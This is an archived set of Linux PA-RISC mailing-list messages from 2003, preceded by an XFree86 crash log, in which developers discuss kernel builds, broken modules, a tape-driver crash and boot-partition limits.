(**) FontPath set to "unix/:7100,/usr/lib/X11/fonts/misc,/usr/lib/X11/fonts/100dpi/:unscaled,/usr/lib/X11/fonts/75dpi/:unscaled,/usr/lib/X11/fonts/Type1,/usr/lib/X11/fonts/Speedo,/usr/lib/X11/fonts/100dpi,/usr/lib/X11/fonts/75dpi"
(==) RgbPath set to "/usr/X11R6/lib/X11/rgb"
(--) using VT number 7

(WW) Cannot open APM
(EE) No OS PCI support available
(II) Addressable bus resource ranges are
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
	[1] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) OS-reported resource ranges:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) OS-reported resource ranges after removing overlaps with PCI:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) All system resource ranges:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) MGA: driver for Matrox chipsets: mga2064w, mga1064sg, mga2164w,
	mga2164w AGP, mgag100, mgag100 PCI, mgag200, mgag200 PCI, mgag400
(II) GLINT: driver for 3Dlabs chipsets: gamma, ti_pm2, ti_pm, pm3, pm2v,
	pm2, pm, 300sx, 500tx, mx, delta
	S3VIdentify
(II) S3VIRGE: driver (version 1.6.13) for S3 ViRGE chipsets: virge, 86C325,
	virge vx, 86C988, virge dx, virge gx, 86C375, 86C385, virge gx2,
	86C357, virge mx, 86C260, virge mx+, 86C280, trio 3d, 86C365,
	trio 3d/2x, 86C362, 86C368
(II) SIS: driver for SiS chipsets: SIS5597, SIS5598, SIS530, SIS6326,
	SIS300, SIS630, SIS540
(II) SAVAGE: driver (version 1.1.16) for S3 Savage chipsets: Savage4,
	Savage3D, Savage3D-MV, Savage2000, Savage/MX-MV, Savage/MX,
	Savage/IX-MV, Savage/IX, ProSavage PM133, ProSavage KM133, Twister,
	TwisterK
(II) TRIDENT: driver for Trident chipsets: tvga8900d, cyber9320, cyber9388,
	cyber9397, cyber9397dvd, cyber9520, cyber9525dvd, cyberblade/e4,
	tgui9420dgi, tgui9440agi, tgui9660, tgui9680, providia9682,
	providia9685, cyber9382, cyber9385, 3dimage975, 3dimage985, blade3d,
	cyberbladei7, cyberbladei7d, cyberbladei1, cyberbladei1d,
	cyberbladeAi1, cyberbladeAi1d, cyberbladeXP, cyberbladeXPm
(II) CHIPS: Driver for Chips and Technologies chipsets: ct65520, ct65525,
	ct65530, ct65535, ct65540, ct65545, ct65546, ct65548, ct65550,
	ct65554, ct65555, ct68554, ct69000, ct69030, ct64200, ct64300
(II) TDFX: Driver for 3dfx Banshee/Voodoo3 chipsets: 3dfx Banshee,
	3dfx Voodoo3, 3dfx Voodoo5
(II) FBDev: driver for framebuffer: fbdev, afb
(II) ATI: ATI driver (version 6.3.6) for chipsets: ati
(II) R128: Driver for ATI Rage 128 chipsets: ATI Rage 128 RE (PCI),
	ATI Rage 128 RF (AGP), ATI Rage 128 RG (AGP), ATI Rage 128 RK (PCI),
	ATI Rage 128 RL (AGP), ATI Rage 128 Pro PD (PCI),
	ATI Rage 128 Pro PF (AGP), ATI Rage 128 Pro PP (PCI),
	ATI Rage 128 Pro PR (PCI), ATI Rage 128 Mobility LE (PCI),
	ATI Rage 128 Mobility LF (AGP), ATI Rage 128 Mobility MF (AGP),
	ATI Rage 128 Mobility ML (AGP)
(II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP),
	ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP),
	ATI Radeon VE (AGP)
(II) imstt: driver (version 1.0.0 for IMS TwinTurbo chipsets : imstt128,
	imstt3d
(II) VGA: Generic VGA driver (version 4.0) for chipsets: generic
(II) v4l driver for Video4Linux
	S3VProbe begin
(II) FBDev(0): using default device
(II) Running in FRAMEBUFFER Mode
(==) FBDev(0): Depth 24, (==) framebuffer bpp 24
(==) FBDev(0): RGB weight 888
(==) FBDev(0): Default visual is TrueColor
(==) FBDev(0): Using gamma correction (1.0, 1.0, 1.0)
(II) FBDev(0): Hardware:  (vidmem: 16384k)
(II) FBDev(0): Checking Modes against framebuffer device...
(II) FBDev(0): 	mode "1280x1024" ok
(II) FBDev(0): Checking Modes against monitor...
(--) FBDev(0): Virtual size is 1280x1024 (pitch 1280)
(**) FBDev(0): Default mode "1280x1024": 108.0 MHz (scaled from 0.0 MHz), 64.0 kHz, 60.0 Hz
(II) FBDev(0): Modeline "1280x1024"  108.00  1280 1328 1440 1688  1024 1025 1028 1066 +hsync +vsync
(==) FBDev(0): DPI set to (75, 75)
(**) FBDev(0): Using "Shadow Framebuffer"
(--) Depth 24 pixmap format is 24 bpp

Fatal server error:
AddScreen/ScreenInit failed for driver 0


When reporting a problem related to a server crash, please send
the full server output, not just the last messages.
This can be found in the log file "/var/log/XFree86.0.log".
Please report problems to submit@bugs.debian.org.


--zYM0uCDKw75PZbzx--


From - Thu Nov 08 21:26:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Aaron St. Pierre" <asp@ungod.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compile
Date: Mon, 3 Feb 2003 21:49:04 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <20030204024904.GI1046@hadron>
References: <20030203165321.GA17807@dsl2.external.hp.com> <3E35CAE7000017DD@ocpmta7.freegates.net> <20030203185936.GF1046@hadron>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622187 21326 80.91.229.3 (22 Nov 2014 02:09:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:47 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 19:50:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hadron.dyndns.org (ma-amesbury1e-100.mrrmnh.adelphia.net [68.168.107.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDA2E4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 19:50:21 -0700 (MST)
Original-Received: from hadron.dyndns.org (LOCALHOST [127.0.0.1])
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) with ESMTP id h142nBT5025297;
	Mon, 3 Feb 2003 21:49:11 -0500
Original-Received: (from asp@localhost)
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) id h142n4Ds025296;
	Mon, 3 Feb 2003 21:49:04 -0500
Content-Disposition: inline
In-Reply-To: <20030203185936.GF1046@hadron>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17625

Okay.... 
	I cannot explain this AT ALL, but look at this : 

	Linux parisc 2.5.58-pa2 #1 Mon Feb 3 19:05:50 EST 2003 parisc
	unknown unknown GNU/Linux

	Yes 2.5 compiled and booted. It was a crap shoot. Now I have to
	figure out how to get modules to work. I had to take them out since
	I was getting a compile time error. This is just wierd. 

	Well I suppose I shouldn't complain, this was the FIRST kernel that
	I built that actually booted. After about thirty or fourty compiles I
	have to say my persistence has paid off ;)

	I am gonna muck with the module stuff, If it is important to anyone 
	I will maintain the page at http://hadron.dyndns.org/parisc/
	
	Thanks again for all of your help ! 

-- 
Aaron St. Pierre			tel: 978.828.6177
asp@ungod.com

 "I'm in Pittsburgh.  Why am I here?"
 		-- Harold Urey, Nobel Laureate


From - Thu Nov 08 21:26:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compile
Date: Mon, 3 Feb 2003 22:26:35 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20030204052635.GA705@dsl2.external.hp.com>
References: <20030203165321.GA17807@dsl2.external.hp.com> <3E35CAE7000017DD@ocpmta7.freegates.net> <20030203185936.GF1046@hadron> <20030204024904.GI1046@hadron>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622187 21328 80.91.229.3 (22 Nov 2014 02:09:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:47 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
To: "Aaron St. Pierre" <asp@ungod.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 22:26:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 0A4E54829; Mon,  3 Feb 2003 22:26:35 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030204024904.GI1046@hadron>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17626

On Mon, Feb 03, 2003 at 09:49:04PM -0500, Aaron St. Pierre wrote:
> 	Yes 2.5 compiled and booted. It was a crap shoot. Now I have to
> 	figure out how to get modules to work.

Modules are broken in 2.5.x and still not fixed with 2.5.59.
Someone volunteered already to fix it but it hasn't happened yet.
Not sure if access to HW or lack of time is the problem.

> 	Well I suppose I shouldn't complain, this was the FIRST kernel that
> 	I built that actually booted. After about thirty or fourty compiles I
> 	have to say my persistence has paid off ;)

wierd. I guess it has.

grant


From - Thu Nov 08 21:26:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Yet another tar-triggered problem?
Date: Tue, 4 Feb 2003 10:55:02 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <20030204085502.GQ7503@aurinko.ntc.nokia.com>
References: <20030203154450.GO7503@aurinko.ntc.nokia.com> <20030203173057.GC17807@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416622187 21330 80.91.229.3 (22 Nov 2014 02:09:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:47 +0000 (UTC)
Cc: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>,
	parisc-linux@lists.parisc-linux.org
To: ext Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  4 01:55:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D1904873
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Feb 2003 01:55:05 -0700 (MST)
Original-Received: from esvir01nok.ntc.nokia.com (esvir01nokt.ntc.nokia.com [172.21.143.33])
	by mgw-x1.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h148rw205333
	for <parisc-linux@lists.parisc-linux.org>; Tue, 4 Feb 2003 10:53:58 +0200 (EET)
Original-Received: from esebh002.NOE.Nokia.com (unverified) by esvir01nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T6034e241e0ac158f21083@esvir01nok.ntc.nokia.com>;
 Tue, 4 Feb 2003 10:55:03 +0200
Original-Received: from aurinko.ntc.nokia.com ([172.22.105.49]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Tue, 4 Feb 2003 10:55:03 +0200
Original-Received: (from mnahkola@localhost)
	by aurinko.ntc.nokia.com (8.11.6/8.11.6) id h148t2O25638;
	Tue, 4 Feb 2003 10:55:02 +0200 (EET)
Content-Disposition: inline
In-Reply-To: <20030203173057.GC17807@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-OriginalArrivalTime: 04 Feb 2003 08:55:03.0320 (UTC) FILETIME=[1B48A180:01C2CC2B]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17627

On Mon, Feb 03, 2003 at 10:30:57AM -0700, ext Grant Grundler wrote:
> On Mon, Feb 03, 2003 at 05:44:50PM +0200, Nahkola Mikko wrote:

> > ... the 70096's scrollback was full of something that looks like
> > a hex dump, and then a HPMC at the end.

> Likely a problem with st or scsi driver.
> Not many people are using tape drives so we don't get much
> feedback on that.

Well, duh ... tapes are fun. Wonder why no one seems interested in them 
nowadays.

> > Is anyone interested in the hex dump?

> Well, TBH, I'd be more interested in one from a 2.4.20 kernel.
> Too much code has changed since 2.4.18.

OK, I'll see if I can reproduce this on 2.4.20. 

It would be nice to get a newer kernel to work in real use too... funny 
that KDE should lock up though, that's not a symptom that I'd expect to 
see.

> > r00-03  00000000 10300010 1010d4e8 ffffffff
> ...
> > IASQ: 00000000 00000000 IAOQ: 1024a2d0 1024a2d4
> 
> Can you look up (IOAQ) 1024a2d0 and (GR02) 1010d4e8
> in the matching System.map?
> I'm curious where it died.

Well, 1010d4e8 seems to be in the middle of something...
1010d1c0 t pcxl_proc_info 	
1010d30c t .L1066
1010d36c T inb
............. lots of other "t .L???"s and an occasional "T inw"
1010d480 t .L708
1010d484 T inl
1010d4ec t .L712

1024a2d0 seems much more readable here... but then again the stuff is 
much further apart.

1024a2ac t dino_in32
1024a2e4 t dino_out8
1024a320 t dino_out16

> Though with HPMCs, it's likely to be a bug in some other code path.

Indeed, and on HP-UX I've seen occasional HPMCs with slightly-broken 
disks, for example... 


-- 
Mikko Nahkola   <mikko.nahkola@nokia.com>
Tre-IN sysadmin <mnahkola@trein.ntc.nokia.com>


From - Thu Nov 08 21:26:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@fc.hp.com (Paul Bame)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compile
Date: Tue, 4 Feb 2003 09:57:54 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20030204165754.GA23535@paul.bame>
References: <20030203020247.GB1046@hadron> <20030203041122.GB29454@dsl2.external.hp.com> <20030203053336.GC1046@hadron> <20030203060359.GF29454@dsl2.external.hp.com> <20030203064328.GD1046@hadron> <20030203101959.GA28668@marmite.its.uct.ac.za> <20030203153735.GE1046@hadron>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622188 21333 80.91.229.3 (22 Nov 2014 02:09:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:48 +0000 (UTC)
Cc: Michael Wood <mwood@its.uct.ac.za>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: "Aaron St. Pierre" <asp@ungod.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  4 09:57:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3F744829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Feb 2003 09:57:57 -0700 (MST)
Original-Received: from smtp2.fc.hp.com (smtp2.fc.hp.com [15.15.136.253])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 695601C0150D; Tue,  4 Feb 2003 11:57:57 -0500 (EST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id D9FA623C01; Tue,  4 Feb 2003 09:57:56 -0700 (MST)
Original-Received: from paul.bame (paul.bame [10.66.2.7])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id BAC7141E0; Tue,  4 Feb 2003 09:57:56 -0700 (MST)
Original-Received: by paul.bame (Postfix, from userid 16602)
	id A1EC4141C9; Tue,  4 Feb 2003 09:57:54 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030203153735.GE1046@hadron>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17628

On Mon, Feb 03, 2003 at 10:37:35AM -0500, Aaron St. Pierre wrote:
> Yes, the boot partition is < 2GB. In fact here is the partion table as 
> reported from fdisk. 
> 
> Disk /dev/sda: 9100 MB, 9100044288 bytes
> 64 heads, 32 sectors/track, 8678 cylinders
> Units = cylinders of 2048 * 512 = 1048576 bytes
> 
>    Device Boot    Start       End    Blocks   Id  System
> /dev/sda1   *         1        29     29680   f0  Linux/PA-RISC boot
> /dev/sda2            30       267    243712   83  Linux

Your TOC dump indicated a likely death in firmware, which is consistent
with trying to load a kernel from beyond the 2G mark.  Indeed your
/dev/sda2 ends past the 2G mark, so you can expect that sometimes
it'll work and sometimes it won't.

	-P


From - Thu Nov 08 21:26:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compile
Date: Tue, 4 Feb 2003 11:03:26 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20030204180326.GB15904@dsl2.external.hp.com>
References: <20030203020247.GB1046@hadron> <20030203041122.GB29454@dsl2.external.hp.com> <20030203053336.GC1046@hadron> <20030203060359.GF29454@dsl2.external.hp.com> <20030203064328.GD1046@hadron> <20030203101959.GA28668@marmite.its.uct.ac.za> <20030203153735.GE1046@hadron> <20030204165754.GA23535@paul.bame>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622188 21336 80.91.229.3 (22 Nov 2014 02:09:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:48 +0000 (UTC)
Cc: "Aaron St. Pierre" <asp@ungod.com>,
	Michael Wood <mwood@its.uct.ac.za>,
	parisc-linux@lists.parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  4 11:03:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 0A8364829; Tue,  4 Feb 2003 11:03:27 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030204165754.GA23535@paul.bame>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17629

On Tue, Feb 04, 2003 at 09:57:54AM -0700, Paul Bame wrote:
> On Mon, Feb 03, 2003 at 10:37:35AM -0500, Aaron St. Pierre wrote:
> > Yes, the boot partition is < 2GB. In fact here is the partion table as 
> > reported from fdisk. 
> > 
> > Disk /dev/sda: 9100 MB, 9100044288 bytes
> > 64 heads, 32 sectors/track, 8678 cylinders
> > Units = cylinders of 2048 * 512 = 1048576 bytes
> > 
> >    Device Boot    Start       End    Blocks   Id  System
> > /dev/sda1   *         1        29     29680   f0  Linux/PA-RISC boot
> > /dev/sda2            30       267    243712   83  Linux
> 
> Your TOC dump indicated a likely death in firmware, which is consistent
> with trying to load a kernel from beyond the 2G mark.  Indeed your
> /dev/sda2 ends past the 2G mark, so you can expect that sometimes
> it'll work and sometimes it won't.

Paul,
Are you sure?

267*1048576 == 279969792 == 279,969,792

That's 280MB if I've placed the comas right.

grant


From - Thu Nov 08 21:26:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Yet another tar-triggered problem?
Date: Tue, 4 Feb 2003 11:06:47 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20030204180647.GC15904@dsl2.external.hp.com>
References: <20030203154450.GO7503@aurinko.ntc.nokia.com> <20030203173057.GC17807@dsl2.external.hp.com> <20030204085502.GQ7503@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622188 21340 80.91.229.3 (22 Nov 2014 02:09:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  4 11:06:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id BDB634829; Tue,  4 Feb 2003 11:06:47 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030204085502.GQ7503@aurinko.ntc.nokia.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17630

On Tue, Feb 04, 2003 at 10:55:02AM +0200, Nahkola Mikko wrote:
> 1024a2d0 seems much more readable here... but then again the stuff is 
> much further apart.
> 
> 1024a2ac t dino_in32

yeah, dino_in32 just means we detected the existing error condition
when reading from IO space. Something else caused the bus error before.


> Indeed, and on HP-UX I've seen occasional HPMCs with slightly-broken 
> disks, for example... 

Like this problem with the tape though, that's most likely a driver bug.

grant


From - Thu Nov 08 21:26:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Aaron St. Pierre" <asp@ungod.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compile
Date: Tue, 4 Feb 2003 14:17:41 -0500
Lines: 52
Approved: news@gmane.org
Message-ID: <20030204191741.GC25469@hadron>
References: <20030203020247.GB1046@hadron> <20030203041122.GB29454@dsl2.external.hp.com> <20030203053336.GC1046@hadron> <20030203060359.GF29454@dsl2.external.hp.com> <20030203064328.GD1046@hadron> <20030203101959.GA28668@marmite.its.uct.ac.za> <20030203153735.GE1046@hadron> <20030204165754.GA23535@paul.bame>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622189 21342 80.91.229.3 (22 Nov 2014 02:09:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:49 +0000 (UTC)
Cc: Michael Wood <mwood@its.uct.ac.za>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  4 12:18:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hadron.dyndns.org (ma-amesbury1e-100.mrrmnh.adelphia.net [68.168.107.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE4F14829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Feb 2003 12:18:17 -0700 (MST)
Original-Received: from hadron.dyndns.org (LOCALHOST [127.0.0.1])
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) with ESMTP id h14JHpT5028111;
	Tue, 4 Feb 2003 14:17:51 -0500
Original-Received: (from asp@localhost)
